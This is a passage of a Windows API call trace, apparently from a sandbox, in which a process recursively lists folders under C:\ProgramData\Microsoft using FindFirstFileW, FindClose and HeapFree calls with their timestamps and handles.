ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0263.058] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0263.059] GetProcessHeap () returned 0x550000 [0263.059] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0263.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0263.070] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0263.071] GetProcessHeap () returned 0x550000 [0263.071] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0263.071] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0263.071] GetProcessHeap () returned 0x550000 [0263.071] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0263.071] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0263.071] GetProcessHeap () returned 0x550000 [0263.071] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0263.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0263.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0263.265] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0263.265] GetProcessHeap () returned 0x550000 [0263.265] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0263.265] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0263.265] GetProcessHeap () returned 0x550000 [0263.266] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0263.266] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0263.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0263.556] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0263.556] GetProcessHeap () returned 0x550000 [0263.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0263.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf840e300, ftLastAccessTime.dwHighDateTime=0x1d696fb, ftLastWriteTime.dwLowDateTime=0xf840e300, ftLastWriteTime.dwHighDateTime=0x1d696fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0263.556] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0263.557] GetProcessHeap () returned 0x550000 [0263.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0263.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf840e300, ftLastAccessTime.dwHighDateTime=0x1d696fb, ftLastWriteTime.dwLowDateTime=0xf840e300, ftLastWriteTime.dwHighDateTime=0x1d696fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0263.584] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0263.585] GetProcessHeap () returned 0x550000 [0263.585] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0263.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf8564f60, ftLastAccessTime.dwHighDateTime=0x1d696fb, ftLastWriteTime.dwLowDateTime=0xf8564f60, ftLastWriteTime.dwHighDateTime=0x1d696fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0263.586] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0263.586] GetProcessHeap () returned 0x550000 [0263.586] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0263.586] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0263.586] GetProcessHeap () returned 0x550000 [0263.586] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0263.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0263.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0263.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0263.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0263.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0263.659] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0263.659] GetProcessHeap () returned 0x550000 [0263.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0263.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0263.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0263.790] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0263.790] GetProcessHeap () returned 0x550000 [0263.790] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0263.791] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0263.791] GetProcessHeap () returned 0x550000 [0263.791] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0263.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0263.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0263.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0263.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0264.000] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0264.002] GetProcessHeap () returned 0x550000 [0264.002] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0264.002] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0264.002] GetProcessHeap () returned 0x550000 [0264.002] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0264.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27edd3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0264.003] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0264.003] GetProcessHeap () returned 0x550000 [0264.003] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0264.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0264.003] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0264.003] GetProcessHeap () returned 0x550000 [0264.003] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0264.003] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0264.004] GetProcessHeap () returned 0x550000 [0264.004] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0264.004] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0264.004] GetProcessHeap () returned 0x550000 [0264.004] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0264.086] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0264.087] GetProcessHeap () returned 0x550000 [0264.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0264.087] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0264.087] GetProcessHeap () returned 0x550000 [0264.087] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0264.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0264.091] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0264.091] GetProcessHeap () returned 0x550000 [0264.091] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0264.091] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0264.091] GetProcessHeap () returned 0x550000 [0264.091] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0264.091] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0264.091] GetProcessHeap () returned 0x550000 [0264.091] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0264.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0264.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0264.174] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0264.175] GetProcessHeap () returned 0x550000 [0264.175] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0264.175] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0264.176] GetProcessHeap () returned 0x550000 [0264.176] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0264.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0264.184] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0264.185] GetProcessHeap () returned 0x550000 [0264.185] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0264.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0264.527] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0264.528] GetProcessHeap () returned 0x550000 [0264.528] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0264.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0264.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0264.528] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0264.528] GetProcessHeap () returned 0x550000 [0264.528] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0264.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0264.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0264.529] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0264.529] GetProcessHeap () returned 0x550000 [0264.529] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0264.529] FindClose (in: hFindFile=0x6398c8 | out: 